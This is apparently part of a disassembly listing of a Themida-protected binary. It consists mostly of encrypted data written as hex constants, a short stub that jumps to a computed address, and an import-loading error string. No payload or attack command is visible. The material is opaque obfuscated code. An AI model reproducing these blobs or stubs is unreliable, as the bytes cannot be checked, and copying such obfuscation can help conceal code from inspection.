dd 0BE92E83Ah, 183741ACh, 0B73F49DBh, 3A60E6D3h, 4DC06E54h
dd 2983993Bh, 388CE0DFh, 112C75C4h, 817569ADh, 417D04BBh
dd 49753A5Fh, 0E4B3D79Fh, 3433A60h, 333A60D4h, 9D08D269h
dd 0F6CABE85h, 99049658h, 88CCB08Fh, 0C06B965Eh, 73DC446Bh
dd 5B76812Bh, 5BBF9367h, 55FD06F7h, 43870B46h, 9A4BE06Fh
dd 50B28C69h, 86DFFh, 28277300h, 0FECBDACBh, 40798865h
dd 152C7293h, 0E4DB21CEh, 7A91D87Fh, 2BC41F26h, 9B74EFD2h
dd 44A1B28Dh, 2CDD0633h, 0C7DCA83Ch, 0E453C585h, 760D6F7Ch
dd 299D40E4h, 2812BD9Fh, 97A2F5A4h, 5F881645h, 0DF35B02Ch
dd 0CB3AB631h, 0DA3E82BDh, 0A72B2673h, 3D48C563h, 0A1672FAh
dd 0A1993A60h, 990D9F4Dh, 3A600AEDh, 4D788D62h, 87A185F9h
dd 90E6B83h, 0A474BE3h, 82F83A60h, 481033Eh, 0BAB9889Fh
dd 600A5434h, 215643Ah, 0A5C54D8h, 0AF933A60h, 7D4C5BB4h
dd 42524389h, 4109DD0Bh, 0BC3A600Bh, 0B263E9E4h, 57B6506Dh
dd 5E27140h, 0B4252F2h, 6C99A317h, 72022C1Dh, 3A600B42h
dd 1098156Fh, 0E06096E5h, 0EA3EFC52h, 56B751B5h, 0A190E74Fh
dd 5E85F9DDh, 74E67900h, 604791F0h, 0A9CC733Ah, 2B161BCEh
dd 6E54B35Dh, 9E934A9Ah, 0D122B600h, 5B2F2271h, 0CEBF0367h
dd 39181ECAh, 0CCC471C5h, 0C0A84DC1h, 0C48024B6h, 4B4606DCh
dd 0DC8BFF77h, 261C4606h, 951FAE08h, 5D211C68h, 0BC6DCF79h
dd 95B7D2CDh, 1A9h, 4A50BD73h, 0BBC1DD0Bh, 0B332BAA0h
dd 0BCBD9F16h, 1C699446h, 7EB468D7h, 81238200h, 60130541h
dd 5CB08A3Ah, 201D6687h, 4004A83Ah, 0C93A6013h, 0CF338CB3h
dd 0EB392921h, 6AC5268Dh, 0F25B2F16h, 7826AAA7h, 0F3D3AF3Eh
dd 0B2C72CB9h, 66B35C87h, 0A855E76Bh, 0BC51BA5Ch, 1CC6D55Bh
dd 0D6705438h, 0B7ACB3C6h, 8D714056h, 65FECBDCh, 98427F88h
dd 77E2E60Eh, 1D65B139h, 0C26C5DACh, 0FA72FC4Eh, 0B139778Eh
dd 470F3901h, 20B3E3D5h, 8ABC23C1h, 726C5A4Dh, 8DC02778h
dd 84F8D291h, 54BD486Ah, 0ED7643h, 0CCB82CF7h, 2EC3B62Fh
dd 0B62FC286h, 827D45C3h, 679644B8h, 4B5A231Eh, 2078D07Eh
dd 0AC4A5359h, 0A9AB7F19h, 1DECC060h, 10DA3E05h, 0C0011786h
dd 0B6D0D8ACh, 776BAFC3h, 0D0790DD9h, 61CEC3B6h, 12C12518h
dd 2C90AFF5h, 40AAADCCh, 0B6D0542Ch, 31422BC3h, 785CB004h
dd 59F90AFBh, 0AF13774Ah, 379BBAFEh, 967F8E0Ah, 0E7D2258Dh
dd 43370E16h, 0DFC82B0Fh, 0E1E509CAh, 66C3B6D1h, 5454381Ch
dd 84283245h, 0C3B6D1C8h, 6CF87B5Fh, 0B0FD27CFh, 0B609483Ch
dd 5CFBDFC3h, 98B64B3Fh, 0E15560B5h, 635AAA5Bh, 0ADD94D9Fh
dd 22C3B6E3h, 0C34AE4D8h, 0DC369AB5h, 7432AD12h, 0FF816882h
dd 0B1565751h, 236E9F64h, 9AA2262Eh, 4825C3B6h, 34280C3Dh
dd 98B5FE2Fh, 92A5F434h, 9AB42448h, 0C73BC3B6h, 67638B15h
dd 0E8C3B69Ah, 12F37492h, 2747CB02h, 8D1FCD52h, 5E11662Eh
dd 87A1FA62h, 0B6329BFFh, 0CD166CC3h, 4150BD37h, 1A6FDE08h
dd 126A342Fh, 9A4BE309h, 0D3BD9F23h, 0EDE7DEFh, 0C72286DEh
dd 28D597B1h, 0F672E1DCh, 17C5F407h, 607FEB9Fh, 0E8067C3Ah
dd 5AD21365h, 3A607F2Eh, 916559A1h, 0F2780399h, 6B784F7Ah
dd 176FC044h, 0C60A428h, 3543B2B8h, 0B452B61Ah, 7D70A020h
dd 0AC0C9030h, 3CC6FCF6h, 0F5675BA5h, 76E58C71h, 0B519614Eh
dd 4986B3C4h, 9274B88Ch, 1F04FB4Fh, 25000005h, 8C79FAD1h
dd 7AAB4879h, 24C1122Fh, 937CE7DEh, 16ADB689h, 0E9D42CCFh
dd 0B9849D0Ah, 0C3B4DBAh, 0D0ED36D7h, 0FA72FE03h, 0C585C08Eh
dd 6FCAB201h, 40E4760Dh, 0BD9F2419h, 0CFF60AFBh, 0B08D927Bh
dd 6D55B25Ch, 0E8384999h, 7DEF3A60h, 43B551DEh, 8732F892h
dd 3A7125A5h, 387A9488h, 0A1F627ADh, 3841289Ch, 795DB105h
dd 0E3BC6DCFh, 0CD952C34h, 73000000h, 941D57A7h, 0B78E96C3h
dd 20759253h, 0B90CE15h, 0E42EA70h, 0ECC3941Dh, 561D5E4Fh
dd 0FD06C964h, 0C542ECC0h, 49DD6FFDh, 0C394B93Dh, 0B93357DFh
dd 4EB4C394h, 0EB5F89F1h, 1FC4F102h, 35273C5Fh, 3E82BFC8h
dd 7DD8D01h, 72568907h, 1D881AD4h, 0E134E608h, 874F5098h
dd 4DFBDFA3h, 94A0C5B9h, 9C605AC3h, 7FEDD82Dh, 0C448858Eh
dd 38D6680h, 0A0097DF1h, 7BF3C394h, 0C394A00Fh, 0E5DDBA80h
dd 1328734Bh, 0A045A5C9h, 0B08AC394h, 1F227BAAh, 618557ABh
dd 0C394A065h, 927690EAh, 93603252h, 28A5FFC3h, 0C8122972h
dd 946044A4h, 0A5B78BC3h, 60F7931Bh, 278C394h, 5A8103E4h
dd 0CED7304Bh, 247444F3h, 0E4FE6583h, 6000000h, 0E4760D6Fh
dd 9F299D40h, 888E7FBDh, 84B5C049h, 0D532DC30h, 40E42F78h
dd 3A60F704h, 7F53B78Bh, 0E0DD228Bh, 0C7542373h, 0F7F99115h
dd 891B3A60h, 60F76165h, 729CE63Ah, 0D1EC3895h, 2735296Dh
dd 2D91A0F6h, 1BCB3FE9h, 3C9FA554h, 0BA32DBFh, 3A60F77Fh
dd 0CC608AF0h, 3A60F7B8h, 9B1DCB0Fh, 0F757F60Ah, 78722C34h
dd 0EE000000h, 364CE83Fh, 6347BB0Fh, 33BD5FC5h, 941DCFBBh
dd 0DD7A40C3h, 3995D73Fh, 3686A0E8h, 0E408D261h, 0C3943CE0h
dd 9DAF1367h, 0A1152870h, 354AC36Dh, 0CFFA0FFEh, 943C4307h
dd 9AFEC4C3h, 0F97A1D59h, 3CDBFB73h, 6E54C394h, 77EB509Ah
dd 26764560h, 0F393638Dh, 3EC393DEh, 64336B7Ah, 79ED3242h
dd 3C6BDE0Dh, 0F544B882h, 0EF2397A2h, 0EDCD618Bh, 423C6BDEh
dd 0DE1DFB78h, 0E072F8D5h, 6DD1EC35h, 1DADD929h, 0D822C394h
dd 2673DA2Eh, 51BCC82Bh, 4D817548h, 0FA811BA3h, 1971FC70h
dd 0FCC6BD9Fh, 0E6A8D808h, 277D3A60h, 7BB52A6h, 32962C35h
dd 7E000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh, 60CB3050h
dd 0C068B13Ah, 0DEA286BBh, 63B81C6Fh, 6B967A5Eh, 4FE29C29h
dd 89A05855h, 0A02C35C6h, 10Fh, 4550BD4Ch, 0CCD98074h
dd 0D5C90DF1h, 61C1D23Bh, 7CC0241Bh, 0C448778Dh, 41350015h
dd 17F90AFBh, 2DD1010Bh, 94785C1Dh, 62B796B0h, 0A286B3C2h
dd 0BEC637B1h, 0BD8EEF5Ch, 6347A448h, 0F98DBB9Fh, 0C3947DA9h
dd 7E4B5A4Bh, 1D287DD0h, 1C154AC6h, 8EC3CE94h, 5639C63Ah
dd 0E26B858Eh, 47B6A491h, 52DA003Fh, 0C394A636h, 0A3A741B9h
dd 0C02A314Bh, 0DF1CCD5h, 28F28C12h, 4781E19h, 9CEF10FBh
dd 123C48B5h, 0E22DD458h, 0B882BD9Fh, 9AA1FBBBh, 0CDD7C650h
dd 0A83C0EF2h, 3A61ABDCh, 0DD0B6F53h, 6C3DF809h, 9BED1844h
dd 0BD8582ACh, 1B3A7EAFh, 0E6D324D1h, 3A7EAF48h, 6C0BCC1Bh
dd 40C28C6Bh, 1C98Fh, 4C7B8F00h, 122F7697h, 0E4D524C1h
dd 49888E7Fh, 18277DAAh, 96757CDBh, 47A0B382h, 37D0033Eh
dd 0E00DD6E1h, 50B9BA97h, 0FC701498h, 8F7C585h, 6EDADE90h
dd 0F35A2E23h, 5FB397AAh, 1032E8Dh, 0C49A95B9h, 4B5C492Ah
dd 6F1FE57Eh, 40E4760Dh, 0BD9F05D1h, 5090645Eh, 3A60CB30h
dd 0E46867B1h, 6CD0EF35h, 5832B3F1h, 1AEEFFA5h, 2C35C6F3h
dd 0E8DEh, 0D5DE2600h, 54D8156Dh, 0C3941D30h, 9B6F43B7h
dd 0EFF43A7h, 0EF47CB0Ah, 0C39418BFh, 1BD8F53Eh, 0D8AC99EAh
dd 926DAD12h, 0AB78AF5Fh, 0E30D6158h, 0DC2FC1DBh, 0FC6389EDh
dd 9C1304C1h, 267AC3CBh, 0F77FF11Fh, 4260B00Eh, 39106392h
dd 20CA300Fh, 2195A0F5h, 95F7931Bh, 2783A60h, 0D484112Eh
dd 10BED120h, 5B217DF6h, 90921AC0h, 5B446D23h, 0F46BF567h
dd 0B7F362F1h, 0D002E67h, 992BC8F7h, 0D7E3E70Fh, 8B643072h
dd 84F84C73h, 7D8786A0h, 0A37C8542h, 53B78C6Ch, 0B9FCh
dd 5C6BBF00h, 221F6687h, 0F4C5D431h, 5978BE6Fh, 28176D9Ah
dd 86658CCBh, 77904372h, 27C0132Eh, 907DE6D1h, 60A94A87h
dd 0FF606488h, 18E7C585h, 0F91EBDA0h, 0D31CAB15h, 2078D573h
dd 0DC29C61Dh, 64F672E1h, 946A84C0h, 19370BC3h, 0F8D5DE23h
dd 0C4D7C614h, 563A1760h, 56AA1E72h, 754055B8h, 0C2ECB0EEh
dd 0BBA185BCh, 8569F333h, 0D4067CBDh, 0B49D1067h, 8E5C0325h
dd 7A766266h, 739DE53Ah, 0E8E52E9Fh, 0BC899A0Bh, 751218C8h
dd 60BA9F4Ch, 5E6BBC65h, 221F6885h, 16618C5Eh, 91E6573Bh
dd 0AF9E48ACh, 79E46857h, 3045AA3Bh, 0E431DE05h, 3A265E9h
dd 0CA000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
dd 56CF7BCFh, 0C681E689h, 4, 4BF57h, 0FE290000h, 2434875Fh
dd 6633685Ch, 2C890000h, 0E7895724h, 4C781h, 0EF810000h
dd 4, 5C243C87h, 81243489h, 4ECh, 24148900h, 35161BAh
dd 0CEF28131h, 89371284h, 8B545AD5h, 0C4812434h, 4, 24048155h
dd 110E0BF6h, 5208468Fh, 86D21BAh, 0F7E2D12Ah, 0C8EA81DAh
dd 299AE119h, 0FF5A0856h, 835E2434h, 2C8B04C4h, 0E2895224h
dd 4C281h, 0C2810000h, 4, 5C241487h, 0F99B62E9h, 5F16F7FFh
dd 0FCCF484h, 18A160B8h
; ---------------------------------------------------------------------------
loc_5AA484: ; CODE XREF: Themida_:loc_5A9608j
mov eax, 611E33Fh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 9Bh, 5Fh, 42h
dd 0AE634938h, 26D3A747h, 0AAEB252Eh, 5C65ED47h, 17D0300Eh
dd 0C4529B37h, 0F95C7644h, 0DEE53E27h, 0FFBB8868h, 3925F403h
dd 6235A00Ah, 11ADB42Ch, 0FB34E130h, 48310D06h, 0EB1E5E44h
dd 0E1920123h, 7DF46861h, 9D641542h, 9A4A1207h, 28517E23h
dd 0E017E423h, 48E58066h, 1DF0496Eh, 405A2E5Dh, 0F1141703h
dd 23F7E94Ah, 0A80D5950h, 7E85Ah, 2EF30000h, 0D1910119h
dd 0F78B66EAh, 6E95Ah, 66890000h, 2177A38Ah, 6F8AC281h
dd 0BB0000h, 0F8000000h, 811334FFh, 0F847A2D7h, 0C081582Bh
dd 73BA9F11h, 9850Fh, 8D0F0000h, 3, 81F7B70Fh, 0C8E12DE8h
dd 5AC08175h, 605718FAh, 0AE8h, 3B7BFE00h, 2C28537Eh, 0F83DFA5Dh
dd 0F681665Eh, 50615666h, 0B15609B9h, 1A048F78h, 7E9h
dd 0BBF63000h, 9BCEB098h, 1532C181h, 0EB83685Ah, 2DBF6602h
dd 0FC4B4B39h, 910CFB81h, 850FFFFFh, 0FFFFFF8Ch, 12A7BE66h
dd 0E59A8D8Dh, 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 156BA2C3h, 892B92B3h, 0B174D8Dh
dd 1985C706h, 4060B01h, 6A000060h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4570C352h
dd 6E3EE4DCh, 6830F16h, 8B000000h, 0B08A1BDh, 985C706h
dd 60B10h, 0B4000000h, 7DB5FFADh, 6A060B1Bh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0B442C353h, 0C595FFD3h, 6A060B0Ah, 0DD95FF00h, 8B060B32h
dd 0C52AEBC0h, 1DCCA2D8h, 0C5FBCA61h, 0F11F91A7h, 8422499Ch
dd 58C8E109h, 3AD5E69Ch, 7795D43Fh, 0B6F09F73h, 0D2C29D5Ch
dd 6203294Bh, 127E92Dh, 5B500000h, 0EFAC7376h, 154Eh, 6E410000h
dd 72724520h, 6820726Fh, 6F207361h, 72727563h, 77206465h
dd 656C6968h, 616F6C20h, 676E6964h, 706D6920h, 7374726Fh
dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
dd 0E6000077h, 777h, 5 dup(0)
dd 0E7A5FD00h, 77h, 2Bh dup(0)
dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 1E639F8Fh, 1C131134h
dd 3CB735B1h, 61664239h, 9E35722Bh, 1177A9F2h, 90EF8832h
dd 136D6E07h, 0A67CBFBFh, 0C699173Fh, 0A8E5D069h, 136D6DE3h
dd 45715632h, 1177A961h, 90EF8832h, 136D6E07h, 0A56FBFBFh
dd 0C699173Fh, 0D5EDD069h, 0F37BF9B1h, 1A662423h, 156601B6h
dd 0F8E30532h, 0EA60559Fh, 8E3AFE2h, 0EA60009Ch, 50E34EE2h
dd 43604F1Ah, 0BDDE705Ah, 40D3EEAEh, 98608321h, 1B1B5CB7h
dd 9CB6DD34h, 1E73BCB7h, 0F8E30534h, 456055D4h, 0F0A8A7BFh
dd 0EA361723h, 1E63A5A7h, 78E38334h, 15602935h, 0D3661132h
dd 1E4ECDB7h, 7C0E0134h, 0EAE8505Bh, 1E6D1087h, 18E30534h
dd 0EA604F0Bh, 44E3ABE2h, 0D3601A13h, 1E4ECDB7h, 4B0E0734h
dd 0EAFA4559h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 10E3ABE2h
dd 0D36000D4h, 1E4ECDB7h, 3C0E1034h, 0EA88405Ah, 1E6D1087h
dd 18E30534h, 0EA604F0Bh, 1CE3ABE2h, 0D36000D4h, 1E4ECDB7h
dd 0D70E0134h, 0EABC420Ah, 1E6D1087h, 18E30534h, 0EA604F0Bh
dd 18E3ABE2h, 966000D4h, 1E6D918Fh, 90694434h, 15662277h
dd 3D2394F4h, 7D238E39h, 0EF463AB4h, 1E6797CDh, 90EB1739h
dd 136DB13Fh, 90EF94CDh, 1377C423h, 3D2394F4h, 7D2A8E39h
dd 0F54094F1h, 1E6797CDh, 90EB1739h, 136DB13Fh, 90EF94CDh
dd 1377C427h, 156651DBh, 50E34E32h, 47604F1Ah, 5F822F5Ah
dd 0D3EE8Eh, 9860831Bh, 1E5F49B7h, 9CB6DD34h, 48000B7h
dd 50E34E34h, 47604F1Ah, 592C6A5Ah, 0D3EE94h, 9860831Bh
dd 1E5F49B7h, 9CB6DD34h, 48004B7h, 50E34E34h, 47604F1Ah
dd 57D2C85Ah, 14D3EECFh, 98608339h, 1E5F49B7h, 9CB6DD34h
dd 1E71B0B7h, 50E34E34h, 62604F1Ah, 82CE815Ah, 0D3EEC1h
dd 98608331h, 1E5F49B7h, 9CB6DD34h, 1E4C44B7h, 50E34E34h
dd 47604F1Ah, 0C857355Ah, 14D3EEB8h, 98608339h, 1E5F49B7h
dd 9CB6DD34h, 1E4898B7h, 50E34E34h, 43604F1Ah, 0A0B1B5Ah
dd 40D3EEE6h, 98608321h, 1B1B5CB7h, 9CB6DD34h, 1E7F64B7h
dd 50E34E34h, 52604F1Ah, 0C976585Ah, 14D3EEB3h, 98608339h
dd 1E5F49B7h, 9CB6DD34h, 1E6BF0B7h, 50E34E34h, 52604F1Ah
dd 1AD3C05Ah, 14D3EEB8h, 98608339h, 1E5F49B7h, 9CB6DD34h
dd 48024B7h, 34DB0B34h, 15604F32h, 1337A63Dh, 90A01132h
dd 136DA077h, 98F2C7Eh, 0A099FBE8h, 136D1A33h, 2C6B0DBFh
dd 0C5994239h, 0F347A7BBh, 90A01723h, 136DA077h, 0CBA82C7Eh
dd 0A099FF46h, 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F343A7BBh
dd 90A01723h, 136DA077h, 97592C7Eh, 0A09995B3h, 136D1A33h
dd 2C6B0DBFh, 0C5994239h, 0F34FA7BBh, 90A01723h, 136DA077h
dd 557E2C7Eh, 0A099911Dh, 136D1A33h, 2C6B0DBFh, 0C5994239h
dd 0F34FA7BBh, 90A01723h, 136DA077h, 13722C74h, 0A09998ECh
dd 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F357A7BBh, 90A01723h
dd 136DA077h, 51C2C75h, 0A099A3EEh, 136D1A33h, 2C6B0DBFh
dd 0C5994239h, 0F35FA7BBh, 90A01723h, 136DA077h, 9BCA2C75h
dd 0A099CDB5h, 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F35BA7BBh
dd 90A01723h, 136DA077h, 0B2B42C75h, 0A099F6A8h, 136D1A33h
dd 2C6B0DBFh, 0C5994239h, 0F327A7BBh, 90A01723h, 136DA077h
dd 2C622C75h, 0A09998F3h, 136D1A33h, 2C6B0DBFh, 0C5994239h
dd 0F323A7BBh, 0A8E51723h, 136DA8CFh, 0D3463132h, 1E4E67B7h
dd 720E5634h, 0EA86FA1Fh, 1E6D4587h, 18E3AF34h, 0EA601A0Bh
dd 5CE301E2h, 0D36055D4h, 1E4E67B7h, 0A40E5634h, 0EAE8A181h
dd 1E6D4587h, 18E3AF34h, 0EA601A0Bh, 58E301E2h, 0D36055D4h
dd 1E4E67B7h, 0B20E5234h, 0EAA6FE78h, 1E6D4587h, 18E3AF34h
dd 0EA601A0Bh, 44E301E2h, 0D36055D4h, 1E4E67B7h, 0FE0E5D34h
dd 0EA9DEE5Eh, 1E655187h, 18E3AF34h, 0EA601A0Bh, 0F0E301E2h
dd 0D36055D4h, 1E4E67B7h, 400E5534h, 0EADDFBBCh, 1E6D4587h
dd 18E3AF34h, 0EA601A0Bh, 40E301E2h, 0D36055D4h, 1E4E67B7h
dd 0E90E5234h, 0EADA065Ch, 1E6D4587h, 18E3AF34h, 0EA601A0Bh
dd 4CE301E2h, 0D36055D4h, 1E4E67B7h, 0BF0E4234h, 0EAA0980Ch
dd 1E6D4587h, 18E3AF34h, 0EA601A0Bh, 48E301E2h, 966055D4h
dd 1E60B38Fh, 91691134h, 156688D2h, 3D23C1F4h, 7D202439h
dd 0EFF0DF03h, 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh
dd 13776E8Bh, 3D23C1F4h, 7D202439h, 0E9C12BE4h, 1E673DCDh
dd 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EFBh, 3D23C1F4h
dd 7D202439h, 879AB532h, 1E673DCDh, 90EB4239h, 136D1B3Fh
dd 90EFC1CDh, 13776EFFh, 3D23C1F4h, 7D202439h, 0E3B25E58h
dd 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EE3h
dd 3D23C1F4h, 7D202439h, 81AB41D5h, 1E673DCDh, 90EB4239h
dd 136D1B3Fh, 90EFC1CDh, 13776E8Fh, 3D23C1F4h, 7D202439h
dd 0A4446509h, 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh
dd 13776EF3h, 3D23C1F4h, 7D202439h, 0CA1FFBDFh, 1E673DCDh
dd 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EF7h, 359BF9B1h
dd 60662439h, 50E3D712h, 4660831Ah, 0AB861A5Ah, 14D3DDFCh
dd 98601A39h, 1E5F85B7h, 9CB6BB34h, 48043B7h, 50E3D734h
dd 5260831Ah, 0A438C35Ah, 14D3DDF5h, 98601A39h, 1E5F85B7h
dd 9CB6BB34h, 48047B7h, 0E8DB9234h, 15608312h, 90A06447h
dd 136D0A77h, 6B637975h, 0A0996E50h, 136D4F33h, 2C6BA7BFh
dd 0C5991739h, 0F30F0DBBh, 90A04223h, 136D0A77h, 1C907971h
dd 0A0991A48h, 136D4F33h, 2C6BA7BFh, 0C5991739h, 0F30B0DBBh
dd 90A04223h, 136D0A77h, 82467971h, 0A0997413h, 136D4F33h
dd 2C6BA7BFh, 0C5991739h, 0F3170DBBh, 0A8E54223h, 136D02CFh
dd 0D3266432h, 1E4ECDB7h, 160E0734h, 0EAED229Ah, 1E6D1087h
dd 18E30534h, 0EA604F0Bh, 6CE3ABE2h, 0D36000D4h, 1E4ECDB7h
dd 0C00E0734h, 0EA837904h, 1E6D1087h, 18E30534h, 0EA604F0Bh
dd 60E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0F40E0734h, 0EA8C8800h
dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 68E3ABE2h, 0D36000D4h
dd 1E4ECDB7h, 220E0734h, 0EAE2D39Eh, 1E6D1087h, 18E30534h
dd 0EA604F0Bh, 94E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0C10E0B34h
dd 0EAF117A2h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 90E3ABE2h
dd 0D36000D4h, 1E4ECDB7h, 170E0B34h, 0EA9F4C3Ch, 1E6D1087h
dd 18E30534h, 0EA604F0Bh, 9CE3ABE2h, 0D36000D4h, 1E4ECDB7h
dd 5C0E0934h, 0EAAE154Bh, 1E6D1087h, 18E30534h, 0EA604F0Bh
dd 84E3ABE2h, 0D36000D4h, 1E4ECDB7h, 9C0E0934h, 0EABAD57Fh
dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 98E3ABE2h, 0D36000D4h
dd 1E4ECDB7h, 220E1134h, 0EAFA391Fh, 1E6D1087h, 18E30534h
dd 0EA604F0Bh, 80E3ABE2h, 0D36000D4h, 1E4ECDB7h, 3F0E0734h
dd 0EAB4F7C2h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 8CE3ABE2h
dd 0D36000D4h, 1E4ECDB7h, 0FF0E1634h, 0EA9B6086h, 1E6D1087h
dd 18E30534h, 0EA604F0Bh, 0B4E3ABE2h, 0D3601A25h, 1E4ECDB7h
dd 8C0E0334h, 0EA84BA6Bh, 1E6D1087h, 18E30534h, 0EA604F0Bh
dd 88E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0D70E0334h, 0EAD7DF52h
dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0B4E3ABE2h, 0D36000D4h
dd 1E4ECDB7h, 10E0334h, 0EAB984CCh, 1E6D1087h, 18E30534h
dd 0EA604F0Bh
dd 0B0E3ABE2h, 0D36000D4h, 1E4ECDB7h, 7D0E1B34h, 0EAF872C0h
dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0BCE3ABE2h, 0D36000D4h
dd 1E4ECDB7h, 2A0E0B34h, 0EAA1DE49h, 1E6D1087h, 18E30534h
dd 0EA604F0Bh, 0C0E3ABE2h, 0D36000D4h, 1E4ECDB7h, 590E0334h
dd 0EA9C795Ch, 1E6D1087h, 18E30534h, 0EA604F0Bh, 0CCE3ABE2h
dd 0D36000D4h, 1E4ECDB7h, 0D80E0334h, 0EAA52416h, 1E6D1087h
dd 18E30534h, 0EA604F0Bh, 0C8E3ABE2h, 0D36000D4h, 1E4ECDB7h
dd 0D90E1B34h, 0EAB29952h, 1E6D1087h, 18E30534h, 0EA604F0Bh
dd 0B8E3ABE2h, 0D36000D4h, 1E4ECDB7h, 5B0E1B34h, 0EAF8CB66h
dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0A4E3ABE2h, 0D36000D4h
dd 1E4ECDB7h, 5D0E1B34h, 0EAB7311Ah, 1E6D1087h, 18E30534h
dd 0EA604F0Bh, 0A0E3ABE2h, 7F6000D4h, 566E036h, 150E4432h
dd 7F662222h, 0B8F3EE32h, 9C608327h, 1E72B5B7h, 8BE3AF34h
dd 0EA6000FEh, 7D62E2E2h, 15665432h, 1546225Ah, 0EA667B32h
dd 1E7325A7h, 0C4E3CD34h, 9C602925h, 1E5498B7h, 7D26E234h
dd 15665432h, 1466225Ah, 0EA667B32h, 1E7325A7h, 48E3CD34h
dd 9E602919h, 1E551487h, 48FB0334h, 9C604F29h, 1E75E787h
dd 50FB9834h, 9E60831Dh, 1E7D19AFh, 966DA934h, 916911CBh
dd 156682EDh, 26061562h, 0FCE3ABF2h, 0AB601A37h, 1566880Eh
dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h
dd 0D879FBBh, 0EAE31739h, 156C0D3Dh, 1B8E4432h, 0FC662223h
dd 156611A3h, 7EB10363h, 80EF40E0h, 136D268Bh, 150E1558h
dd 47668822h, 80994458h, 136D379Fh, 323394BBh, 0C5ED8E39h
dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h
dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 1E72B58Fh, 0EAAFA134h
dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah, 0EA8C943Dh
dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0FCE3EE60h, 9E608337h
dd 1E63ADA7h, 0F4F31B34h, 1A601A2Ah, 156682B6h, 96381E32h
dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 527C1F5h, 15662439h
dd 90A11132h, 136D89BFh, 15664432h, 0F37B9FB1h, 1A661723h
dd 156680B6h, 0A7FBC932h, 0EA603378h, 24E3EEE1h, 96608312h
dd 1E46758Fh, 97694634h, 15661150h, 35570DF5h, 15674239h
dd 98062232h, 480E487h, 75DB0534h, 3E605631h, 9EB1A9CCh
dd 1E72E08Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h, 0FCA79636h
dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 136D9103h
dd 1571C03Dh, 0A8E52232h, 136D3627h, 1FE38732h, 0D2664432h
dd 1E614FB7h, 15661034h, 26DFE932h, 0AF687D03h, 78EBE200h
dd 0D0D3989Fh, 0D2608321h, 1566B874h, 0FB5B2232h, 1A88FFDCh
dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h, 15604F32h
dd 96664432h, 0A0EF26F4h, 136D02F7h, 156E71DBh, 26BECF32h
dd 1E614FB7h, 16AED034h, 0D5A74A19h, 9CA77722h, 1E614FAFh
dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h, 9069AA89h
dd 1566880Bh, 156642F5h, 0D3E52232h, 0D0D39836h, 9E608321h
dd 1E7D19AFh, 9E6DA934h, 0D7ED71E2h, 1EDF0D19h, 0F5A74239h
dd 0C0E32130h, 83601A2Ah, 9CA78B9Fh, 747A6076h, 15665EDBh
dd 26344032h, 40F303FBh, 2E604F15h, 2DE22D30h, 96661132h
dd 2E278CF0h, 1E7EA5BFh, 0FDE32D34h, 9899EECDh, 4835287h
dd 0A8DBC934h, 0B9602916h, 9169D1B6h, 15668834h, 0EA97AD98h
dd 15DEDDCDh, 98661132h, 1E2B5FBFh, 9C87BB34h, 1E63CBBFh
dd 433F4B34h, 0E3B15B9h, 1EED4239h, 108FA7B9h, 0F5B71739h
dd 6570D31h, 0E3554239h, 0D4CB44A4h, 906513D2h, 136D90E7h
dd 0D465E9A4h, 3CDBA16Ch, 14601A21h, 155F0C3Dh, 985D4432h
dd 136D2933h, 154B953Dh, 985D8832h, 136D4727h, 1547A63Dh
dd 985D1132h, 136D917Fh, 1573C03Dh, 88EB2232h, 1377EA0Ah
dd 0EDED5BCDh, 2E7C1BBh, 0A18F2439h, 98661134h, 49DB0AFh
dd 96B5BB34h, 1E750B8Fh, 91691134h, 1566882Fh, 316FC109h
dd 91692439h, 1566113Eh, 16070D09h, 90694239h, 15662237h
dd 0EA99A8DBh, 44E3B3CDh, 1A604F13h, 15663AB7h, 0CDB9232h
dd 15608339h, 156DC13Dh, 90EB2232h, 1377A128h, 0EA991DDBh
dd 44E37FCDh, 1A602913h, 0EA9998B6h, 0C3DB0BCDh, 146055D7h
dd 1571A73Dh, 905D1132h, 13776E07h, 156DC13Dh, 90EB2232h
dd 153EF792h, 0EA99E5DBh, 969977CDh, 1E66038Fh, 91691134h
dd 15668B55h, 0F347C109h, 12132423h, 1AD794B9h, 2E218E39h
dd 4806DB7h, 9E615734h, 1E6414B7h, 905DCF34h, 1377A217h
dd 90ED2547h, 136D1243h, 38E3B375h, 606055D4h, 60E3A935h
